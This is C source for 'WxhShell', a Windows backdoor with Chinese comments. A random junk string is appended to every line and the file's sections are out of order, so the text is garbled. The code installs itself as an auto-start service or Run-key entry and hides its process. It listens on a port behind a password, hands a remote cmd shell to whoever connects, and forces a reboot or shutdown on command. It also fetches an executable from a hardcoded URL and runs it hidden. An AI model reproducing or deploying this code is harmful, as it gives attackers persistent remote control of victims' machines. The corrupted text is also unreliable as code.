  // 关机 (~Bm\Jn  
  case 'd': { E uO:}[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); CnuM=S:  
    if(Boot(SHUTDOWN)) K'2N:.D:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j&dCP@G  
    else { ()j)}F#Z`  
    closesocket(wsh); ,X|FyO(p  
    ExitThread(0); H,<CR9@(5d  
    } Zz (qc5o,F  
    break; _*=4xmB.=  
    } Ng<ic  
  // 获取shell o_\vudXK  
  case 's': { *DcIC]ao[  
    CmdShell(wsh); AHr^G'  
    closesocket(wsh); /V0Put  
    ExitThread(0); ]u<U[l-w  
    break; 4 dHGU^#WZ  
  } :*g$@T   
  // 退出 5M>p%/  
  case 'x': { fFVQu\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hQ>$ "0K  
    CloseIt(wsh); B t3++ Mj  
    break; JK,^:tgm  
    } ~i?Jg/qcxN  
  // 离开 ~tTa[_a!  
  case 'q': { o1 27? ^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Xgh%2 ;:  
    closesocket(wsh); .+Q1h61$T  
    WSACleanup(); Q,9KLi3  
    exit(1); T-n>+G{  
    break; ~YNzSkz  
        } 1xtS$^APcd  
  } $Vp&7OC]  
  } ~BTm6*'h  
sAO/yG  
  // 提示信息 )( YJ6l  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z  OAg7  
} CBdr 1  
  } K~]Xx~F  
9*JxP%8T~X  
  return; fFC9:9<  
} aiX4;'$x!  
f dJg7r*  
// shell模块句柄 LDw.2E  
int CmdShell(SOCKET sock) zZ9Ei-Q  
{ 2N-p97"g  
STARTUPINFO si; k^JgCC+  
ZeroMemory(&si,sizeof(si)); G@e;ms1  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h+d k2|a  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )y!gApNs"  
PROCESS_INFORMATION ProcessInfo; 3bLOT#t  
char cmdline[]="cmd"; e7iQG@i7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6t <[-  
  return 0; ;=%cA#}_0  
} ]ml'd  
}j6|+  
// 自身启动模式 L#D)[v"  
int StartFromService(void) =.J>'9Q  
{ -q)|I|y*7  
typedef struct U3aM^  
{ u<n['Ur}|  
  DWORD ExitStatus; W#d'SL#5  
  DWORD PebBaseAddress; [vBP,_Tjx  
  DWORD AffinityMask; tOF8v8Hd  
  DWORD BasePriority; kSJ;kz,_  
  ULONG UniqueProcessId; ?TDmW8G}J  
  ULONG InheritedFromUniqueProcessId; ;eFV}DWW  
}   PROCESS_BASIC_INFORMATION; zb~;<:<  
T z:,l$  
PROCNTQSIP NtQueryInformationProcess; $D^27q:H  
_MQh<,Z8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 9l[C&0w#\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Y$s*h_-/<  
nJgN2Z  
  HANDLE             hProcess; j$u  
  PROCESS_BASIC_INFORMATION pbi; N>s3tGh  
\(?d2$0m  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); L`:V]p  
  if(NULL == hInst ) return 0; >)[W7h  
vPZ0?r_5W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 7k#>$sY+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;$*tn"- ?~  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KB\ri&bF  
D!)h92CIDm  
  if (!NtQueryInformationProcess) return 0; gpbdK?  
I_Gm2 Dd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CJ3/8*;w  
  if(!hProcess) return 0; 8;UkZN"hy5  
zEE:C|50  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oY\;KPz  
-G1R><8[  
  CloseHandle(hProcess); (:+Wc^0  
m*e8j[w#  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); qIy9{LF  
if(hProcess==NULL) return 0; Vn^8nS  
O"[#g  
HMODULE hMod; .(Z^}  
char procName[255]; 'oBv(H  
unsigned long cbNeeded;  Cb|R  
'o8,XBv-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ARJtE@s6Y  
+,ld;NM{  
  CloseHandle(hProcess); ye {y[$#3  
H!y-o'Z  
if(strstr(procName,"services")) return 1; // 以服务启动 '7]9q#{su  
5"x1Pln  
  return 0; // 注册表启动 >G0ihhVt  
} ]VN1Y)  
=*?XZA)c  
// 主模块 nwDW<J{f|U  
int StartWxhshell(LPSTR lpCmdLine) ^sJp!hi4=)  
{ U|+`Eth8(  
  SOCKET wsl; ccW{88II7w  
BOOL val=TRUE; #\}xyPS  
  int port=0; dKPx3Y'  
  struct sockaddr_in door; :' !_PN  
IxWX2yJ]  
  if(wscfg.ws_autoins) Install(); o:%;AOcl  
Kna@K$6{w=  
port=atoi(lpCmdLine); \3t)7.:4  
AUU(fy#<  
if(port<=0) port=wscfg.ws_port; b Sg]FBaW  
;UQ&yj%x  
  WSADATA data; ' b,zE[Q  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T!pHT'J  
9\r5&#<(I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   *; 6LX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -,"eN}P^  
  door.sin_family = AF_INET; x}7Xd P.2$  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); aTLr%D:Ka  
  door.sin_port = htons(port); @^Kw\s  
51>OwEf<R  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,v*\2oG3^  
closesocket(wsl); m`,h nDp  
return 1; (bogAi3<F  
}  ZN;fDv  
;Ac!"_N?7  
  if(listen(wsl,2) == INVALID_SOCKET) { zL+M-2hV  
closesocket(wsl); yA<\?Ps  
return 1; I]~UOl  
} i:^ 8zW  
  Wxhshell(wsl); *pGbcBQ  
  WSACleanup(); y(r(q  
~HX'8\5  
return 0; aFy'6c}  
]@ms jz'  
} 4=;`\-7!  
 %B#8  
// 以NT服务方式启动 {<Vw55)#0Q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) h`:gMhn  
{ }4*~*NoQ  
DWORD   status = 0; e({-. ra  
  DWORD   specificError = 0xfffffff; _4t  
k'd=|U;(FV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T!H }^v  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 4V5h1/JPm  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Nu%MXu+  
  serviceStatus.dwWin32ExitCode     = 0; sTYA  
  serviceStatus.dwServiceSpecificExitCode = 0; <(o) * Zmo  
  serviceStatus.dwCheckPoint       = 0; z`y^o*qc]  
  serviceStatus.dwWaitHint       = 0; yLvU@V@~  
Z1+1>|-iW  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); S? (/~Vb%  
  if (hServiceStatusHandle==0) return; vQ DlS1L  
eq36mIo  
status = GetLastError(); lLL)S  
  if (status!=NO_ERROR) yKOC1( ~  
{ j1$s^-9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b U>.Bp]  
    serviceStatus.dwCheckPoint       = 0; <3b Ft[  
    serviceStatus.dwWaitHint       = 0; :\G`}_db'  
    serviceStatus.dwWin32ExitCode     = status; xR5zm %\  
    serviceStatus.dwServiceSpecificExitCode = specificError; G+Zm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); k!wEPi]  
    return; ~@VyJT%  
  } 1:q5h*  
~0gHh  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e:WKb9nT  
  serviceStatus.dwCheckPoint       = 0; glRHn?p  
  serviceStatus.dwWaitHint       = 0; kCU (Hi`Q  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :.f m LL  
} xAAwH@ +  
USyOHHPW@  
// 处理NT服务事件,比如:启动、停止 69{q*qCW  
VOID WINAPI NTServiceHandler(DWORD fdwControl) vHx[:vuq:  
{ lyyR yFfQ  
switch(fdwControl) )Es|EPCx!  
{ sxU 0Fg   
case SERVICE_CONTROL_STOP: XXPpj< c  
  serviceStatus.dwWin32ExitCode = 0; V3> JZH`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4#w Z#}  
  serviceStatus.dwCheckPoint   = 0; T [2l32  
  serviceStatus.dwWaitHint     = 0; yK:b $S  
  { B["C~aF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2G BE=T  
  } .OSFLY#[?  
  return; IX 2 dic'  
case SERVICE_CONTROL_PAUSE: =$Sd2UD  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q)\4  .d  
  break; p6W|4_a?  
case SERVICE_CONTROL_CONTINUE: lH 1gWe  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; _air'XQ&!  
  break; 7,EdJ[CR$  
case SERVICE_CONTROL_INTERROGATE: ]F*fQ Ncjy  
  break; 6{TUs>~  
}; B)u*c]<qU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @ZGD'+zd?  
} uBfSS\SX|  
mvt%3zCB!  
// 标准应用程序主函数 v,A8Mk2s#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PFPZ]XI%F  
{ J`d;I#R%c  
._US8  
// 获取操作系统版本 +I r  
OsIsNt=GetOsVer(); [$%O-_x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ,ftKRq  
#hF(`oX}4K  
  // 从命令行安装 oD&axNk  
  if(strpbrk(lpCmdLine,"iI")) Install();  <]h?_)  
&O.lIj#F R  
  // 下载执行文件 =2.q=a|'  
if(wscfg.ws_downexe) { [,/~*L;7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ^s?=$&8f![  
  WinExec(wscfg.ws_filenam,SW_HIDE); )TzQ8YpO}  
} 6 ly`lu9  
:[.**,0R  
if(!OsIsNt) { 'yR)z\)  
// 如果时win9x,隐藏进程并且设置为注册表启动 BDz 7$k]  
HideProc(); x3Ze\N8w  
StartWxhshell(lpCmdLine); &-hXk!A  
} ^K'@W  
else yw+LT,AQ.  
  if(StartFromService()) )>U7+ Me  
  // 以服务方式启动 MC;2.e`  
  StartServiceCtrlDispatcher(DispatchTable); h@yn0CU3.  
else .*Ylj2nM  
  // 普通方式启动 $ucA.9pJ  
  StartWxhshell(lpCmdLine); M A  
E]dmXH8A  
return 0; oA]rwa UX  
} aV`_@F-8  
rki0!P`  
}*s`R;B|,  
 w0`8el;  
=========================================== #l#8-m8g)  
K:(E"d;  
$bsD'Io  
S>V+IKW;(  
I> BGp4AQ  
.6[7D  
" /l1OC(hm  
VHqHG`}:  
#include <stdio.h> /Xk-xg+U  
#include <string.h> ="J *v>  
#include <windows.h> YML]pNB  
#include <winsock2.h> bfX yuv  
#include <winsvc.h> L(+I  
#include <urlmon.h> U;#9^<^  
v,^W& W.  
#pragma comment (lib, "Ws2_32.lib") K2 6`wt  
#pragma comment (lib, "urlmon.lib") Zi= /w  
y$[:Kh,  
#define MAX_USER   100 // 最大客户端连接数 t4v@d  
#define BUF_SOCK   200 // sock buffer  HvzXAd  
#define KEY_BUFF   255 // 输入 buffer  jH>`:  
^Fpc8D,  
#define REBOOT     0   // 重启 Bht!+  
#define SHUTDOWN   1   // 关机 WJj5dqatV  
R,dbq4xkl  
#define DEF_PORT   5000 // 监听端口 9wbj}tN\z  
TQ5*z,CkS  
#define REG_LEN     16   // 注册表键长度 ,8 G6q_ud  
#define SVC_LEN     80   // NT服务名长度 T7~H|%  
@L?KcGD  
// 从dll定义API 7BkY0_KK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); RG_.0'5=hc  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); B-UsMO  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .C,D;T{  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `Vl9/IEk  
YJu~iQ`i  
// wxhshell配置信息 {;vLM* '  
struct WSCFG { 03H0(ku=  
  int ws_port;         // 监听端口 y4)iL?!J~  
  char ws_passstr[REG_LEN]; // 口令 M>[e1y>7  
  int ws_autoins;       // 安装标记, 1=yes 0=no z"P/Geb:O  
  char ws_regname[REG_LEN]; // 注册表键名 `3yK<-  
  char ws_svcname[REG_LEN]; // 服务名 Z@,[a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 d$hBgJe>N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q|xa:`3?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 * }) W>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 7!Qu+R  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" fPPC`d&Q3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ir|c<~_=  
Kk`Lu S?  
}; r4mz   
\zKO5,qw  
// default Wxhshell configuration &P7Z_&34Z  
struct WSCFG wscfg={DEF_PORT, !|\l*  
    "xuhuanlingzhe", 4-m6e$p;  
    1, OE*Y%*b  
    "Wxhshell", L3=5tuQ[5  
    "Wxhshell", Qk72ra)  
            "WxhShell Service", +/ rt'0o  
    "Wrsky Windows CmdShell Service", C),i#v  
    "Please Input Your Password: ", Z+=M_{`{  
  1, 1Li*n6tLX`  
  "http://www.wrsky.com/wxhshell.exe", slzB#  
  "Wxhshell.exe" y9b%P]i  
    }; TJCE6QG  
LUdXAi"f  
// 消息定义模块 !_P&SmK3  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;SIWWuk  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eG7Yyz+t$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 9l(T>B2a  
char *msg_ws_ext="\n\rExit."; vUCmm<y  
char *msg_ws_end="\n\rQuit."; ;5DDV6  
char *msg_ws_boot="\n\rReboot..."; \PWH( E9  
char *msg_ws_poff="\n\rShutdown..."; ;y_]w6|n  
char *msg_ws_down="\n\rSave to "; S5V:HRj{?  
"hi03k  
char *msg_ws_err="\n\rErr!"; %=!] 1  
char *msg_ws_ok="\n\rOK!"; u'nQC*iJb  
[5!dO\-[  
char ExeFile[MAX_PATH]; (9R;-3vY:S  
int nUser = 0; Gk]ZP31u  
HANDLE handles[MAX_USER]; t{s*,X\b  
int OsIsNt; k!Q{u2  
eR0$CTSw  
SERVICE_STATUS       serviceStatus; flT6y-d  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; XO+rg&Pu  
/,`OF/%  
// 函数声明 WdH/^QvTP  
int Install(void); qVfl6q5  
int Uninstall(void); K)U[xS;<  
int DownloadFile(char *sURL, SOCKET wsh); inip/&P?V  
int Boot(int flag); `/^ _W <  
void HideProc(void); [Q+k2J_h  
int GetOsVer(void); L7hRFf-o  
int Wxhshell(SOCKET wsl); G[1\5dK*uR  
void TalkWithClient(void *cs); ?}uuTNLl)  
int CmdShell(SOCKET sock); h aApw(.%  
int StartFromService(void); L&s$&E%  
int StartWxhshell(LPSTR lpCmdLine); Uo71C4ev  
`BVmuUMm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]f0OmUHR5i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 1 +[sM  
^qnmKA>"F  
// 数据结构和表定义 z;!"i~fFK  
SERVICE_TABLE_ENTRY DispatchTable[] = { :1X N  
{ 'ZB^=T  
{wscfg.ws_svcname, NTServiceMain}, ()48>||  
{NULL, NULL} q k 6  
}; 8CZ%-}-%$  
k/D{&(F ~  
// 自我安装 5'c#pm\Q  
int Install(void) 4Y$\QZO  
{ 5C&*PJ~WA  
  char svExeFile[MAX_PATH]; 4hODpIF  
  HKEY key; SiUu**zC  
  strcpy(svExeFile,ExeFile); yOt#6Vw  
1[T7;i$  
// 如果是win9x系统,修改注册表设为自启动 [q_+s  
if(!OsIsNt) { UKQ"sC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4(8tr D6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I}m20|vv  
  RegCloseKey(key); xEk8oc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { u>n"FL 'e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bMxK@$G~  
  RegCloseKey(key); |-G2pu;  
  return 0; 4e Y?#8  
    } !nCq8~#  
  } N -]/MB 8  
} W"^=RY  
else { 5|nc^ 12  
<l $ d>,  
// 如果是NT以上系统,安装为系统服务 X.#)CB0c1Q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); P6R_W  
if (schSCManager!=0) RFy MRE!?  
{ y;uR@{  
  SC_HANDLE schService = CreateService 31@Lr[!  
  ( c~?Zmdn:  
  schSCManager, )+hV+rM jp  
  wscfg.ws_svcname, Yu>DgMW  
  wscfg.ws_svcdisp, {*AA]z? zo  
  SERVICE_ALL_ACCESS, 7oW Mjw\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XIbZ_G^ +D  
  SERVICE_AUTO_START, -^lc-$0  
  SERVICE_ERROR_NORMAL, @(~:JP?KNC  
  svExeFile, dWPQp*f2  
  NULL, `r-jWK\  
  NULL, i*Ldec^  
  NULL, k%sH09   
  NULL, 2h'Wu qO  
  NULL BUJ\[/  
  ); /rnI"ze`  
  if (schService!=0) qfyZda0d  
  { |7tD&9<  
  CloseServiceHandle(schService); pX ^^0  
  CloseServiceHandle(schSCManager); QCF'/G  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ^w.hI5ua)  
  strcat(svExeFile,wscfg.ws_svcname); &J*M  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1XMR7liE  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 8&)v%TX  
  RegCloseKey(key); 1(Ta*"(0Ip  
  return 0; :t{~Mi=T  
    } ]MV8rC[\  
  } ~DI$O[KpR%  
  CloseServiceHandle(schSCManager); o^\Pt<~W  
} q.VYPkEib  
} (Z SaAn),  
"|L" C+tE  
return 1; DS<1"4 b|  
} K"H\gmV_ g  
) ;\c{QF  
// 自我卸载 AQlB_ @ b  
int Uninstall(void) &(rWl`eTY`  
{ i(^U<DW$  
  HKEY key; &$F<]]&  
Jpj=d@Of70  
if(!OsIsNt) { vRmn61  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jdP )y]c  
  RegDeleteValue(key,wscfg.ws_regname); LdV&G/G-#D  
  RegCloseKey(key); S{rltT-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /Hyz]46  
  RegDeleteValue(key,wscfg.ws_regname); ^Tm`motzh  
  RegCloseKey(key); Ki\.w~Qs  
  return 0; 8Ojqm#/f  
  } K>@yk9)vi  
} HUi?\4  
} /Vn>(;lo  
else { !Qe ;oMqy}  
aa`(2%(:  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ej`%}e%2  
if (schSCManager!=0) a>'ez0C  
{ @1JwjtNk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); :"\,iH  
  if (schService!=0) CWn\K R  
  { sUZA!sv  
  if(DeleteService(schService)!=0) { EiL#Dwx  
  CloseServiceHandle(schService); Y$ ys4X  
  CloseServiceHandle(schSCManager); *?rWS"B  
  return 0; qd*}d)!  
  } &riGzU]  
  CloseServiceHandle(schService); IOcQI:4.`  
  } 8Xot ly  
  CloseServiceHandle(schSCManager); QF#w $%7  
} 3@> F-N  
} `6D?te  
dAh.I3  
return 1; cz>,sz~i  
} z-5`6aE9<  
tnRf!A;m  
// 从指定url下载文件 oJz2-P mX  
int DownloadFile(char *sURL, SOCKET wsh) n|w+08c"  
{ 1F^Q*t{  
  HRESULT hr; 9-KhJq%  
char seps[]= "/"; }}AIpYp,P  
char *token; ,c p2Fac  
char *file; FzT.9Vz7  
char myURL[MAX_PATH]; %ou,|Dww  
char myFILE[MAX_PATH]; py*22Ua^  
Dcl$?  
strcpy(myURL,sURL); 6#?T?!vZ  
  token=strtok(myURL,seps); \<4N'|:  
  while(token!=NULL) e1m?g&[  
  { t'eqk#rq  
    file=token; ,ks2&e  
  token=strtok(NULL,seps); ,=:K&5mCv  
  } ]pax,| +$C  
ef5)z}B   
GetCurrentDirectory(MAX_PATH,myFILE); y_Y(Xx3  
strcat(myFILE, "\\"); ?"6Zf LRi  
strcat(myFILE, file); ,N.8  
  send(wsh,myFILE,strlen(myFILE),0); wVs?E  
send(wsh,"...",3,0); -@W9+Zf5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); HN5m%R&`  
  if(hr==S_OK) I"07x'Ahq3  
return 0; ^\\3bW9}H  
else (#Y~z',I  
return 1; Da=EAG-{7  
Mt[yY|Ec|  
} QU"WpkO  
-+#%]P8l  
// 系统电源模块 f%Q{}fC{*  
int Boot(int flag) aF{_"X2  
{ X'Ss#s>g  
  HANDLE hToken;  < $~lFV  
  TOKEN_PRIVILEGES tkp; [{znwK@  
iNO>'7s7  
  if(OsIsNt) { 37#&:[w>  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); h)KHc/S  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); jEc_!Q  
    tkp.PrivilegeCount = 1; YG "Ta|@5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L:R4&|E/t  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {f/qI`  
if(flag==REBOOT) { f-ltV<C_  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *c0H_8e  
  return 0; @T'^V0!-q:  
} t un}rdb  
else { Ot=jwvw  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) #@XBHJD\#  
  return 0; dGIdSQ~ _  
} Rn1oD3w  
  } .Ro/ioq  
  else { LD$5KaOW  
if(flag==REBOOT) { Z*,e<zNQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Av X1*  
  return 0; N'Gq9A  
} XHr*Rs.[=  
else { w+M/VsL  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {!"UBALxc  
  return 0; *$tXm4 O[  
} 3<0b_b  
} p~pD`'%  
]g_VPx"  
return 1; mzgt>Qtkz=  
} P*|N)S)X%  
q!Du J  
// win9x进程隐藏模块 A~zn;  
void HideProc(void) cG|fau<G  
{ U( YAI%O  
+&GV-z~o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #NS|9jW  
  if ( hKernel != NULL ) 6x+ujUBkK  
  { i_Kwxn$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7- B.<$uC  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o3J#hQrl  
    FreeLibrary(hKernel); H;Wrcf2  
  } O[@!1SKT0  
xQoZ[  
return; u?osX;'w  
} Ltlp9 S  
w:&" "'E  
// 获取操作系统版本 2M %j-yG"  
int GetOsVer(void) W5*ldXXk  
{ 5{ c;I<0  
  OSVERSIONINFO winfo; %xt9k9=vZ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); "TZq")-  
  GetVersionEx(&winfo); dkQ4D2W*\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (jc@8@Wo.  
  return 1; <2$vo  
  else y Zaf q"o  
  return 0; &Mh.PzO=b  
} CSM"Kz`  
AIF ?>wgq  
// 客户端句柄模块 { 3G  
int Wxhshell(SOCKET wsl) v 6~9)\!j  
{ 222 Y?3>@D  
  SOCKET wsh; : 4ryi&Y  
  struct sockaddr_in client; }:Z.g  
  DWORD myID; M'*s5:i  
*ap,r&]#F  
  while(nUser<MAX_USER) (q)}`1d'  
{ 7]=&Q4e4  
  int nSize=sizeof(client); #'L<7t K  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *PJH&g#Ge  
  if(wsh==INVALID_SOCKET) return 1; ZU4=&K  
v"*r %nCi  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); J_Lmy7~xbD  
if(handles[nUser]==0) 7! O"k#  
  closesocket(wsh); Z,&O8Jelf  
else |OeyPD#  
  nUser++; o`T.Zaik,  
  } X+X:nL.t  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); yD\q4G  
1w,_D.1'  
  return 0; c<lp<{;  
} RS5<] dy  
crmQn ^4\  
// 关闭 socket W .a>K$  
void CloseIt(SOCKET wsh) byHc0ktI\  
{ i3-5~@M  
closesocket(wsh); 2)}n"ibbT  
nUser--; MxTJgY  
ExitThread(0); ]'.qRTz'\t  
} 5Rbl.5. A  
FP@_V-  
// 客户端请求句柄 N$fP\h^AR  
void TalkWithClient(void *cs) 'gwh:  
{ T:^.; ZY  
ak(s@@k  
  SOCKET wsh=(SOCKET)cs; -(vHy/Hz.  
  char pwd[SVC_LEN]; )nUdU = m  
  char cmd[KEY_BUFF]; _c5@)I~  
char chr[1]; [2:d@=%.  
int i,j; ZO+RE7f*?c  
SN6 QX!3  
  while (nUser < MAX_USER) { Ly= .  
xUJ(tG3  
if(wscfg.ws_passstr) { (zhZ}C,VF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vNO&0~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B'Yx/c&n  
  //ZeroMemory(pwd,KEY_BUFF); 0s n$QmW:  
      i=0; /s?%ft#-9o  
  while(i<SVC_LEN) { 7@ym:6Y+]  
\!ZA#7  
  // 设置超时 /b+~BvTh  
  fd_set FdRead; "4b{YWv  
  struct timeval TimeOut; o&JoeKXor  
  FD_ZERO(&FdRead); ,!= sGUQ)  
  FD_SET(wsh,&FdRead); 5Tsz|k  
  TimeOut.tv_sec=8; "x$@^  
  TimeOut.tv_usec=0; ,&[o:jTk  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); " ityx?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); l\_!oa~  
?1Nz ,Lc$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kQ\GVI11?  
  pwd=chr[0]; ]TvMT  
  if(chr[0]==0xd || chr[0]==0xa) { j.M]F/j  
  pwd=0; V&zeC/xSq  
  break; oodA&0{)d  
  } 6 AO(A *  
  i++; 2;)IBvK  
    } =?]`Xo,v~  
lMv6QL\>'  
  // 如果是非法用户,关闭 socket \VPw3  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); "8QRYV~Z  
} =!Ik5LiD  
{i>AQ+z61f  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !@C-|=9G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zpd-ob  
ydWr&E5  
while(1) { GRc)3 2,  
L15)+^4n  
  ZeroMemory(cmd,KEY_BUFF); s}zR@ !`  
:3F[!y3b  
      // 自动支持客户端 telnet标准   ^EIuGz1@0  
  j=0; 0fc;H}B*  
  while(j<KEY_BUFF) { \Z.r Pq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); CvIuH=,  
  cmd[j]=chr[0]; f]*;O+8$LN  
  if(chr[0]==0xa || chr[0]==0xd) { enk`I$Xx  
  cmd[j]=0; :6n4i$  
  break; VgPlIIHh5  
  } WUS%4LL(  
  j++; _'p/8K5)=  
    } =CzGI|pb  
uc9h}QJ*  
  // 下载文件 9>{fsy  
  if(strstr(cmd,"http://")) { `;mgJD  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); m%9Yo%l~  
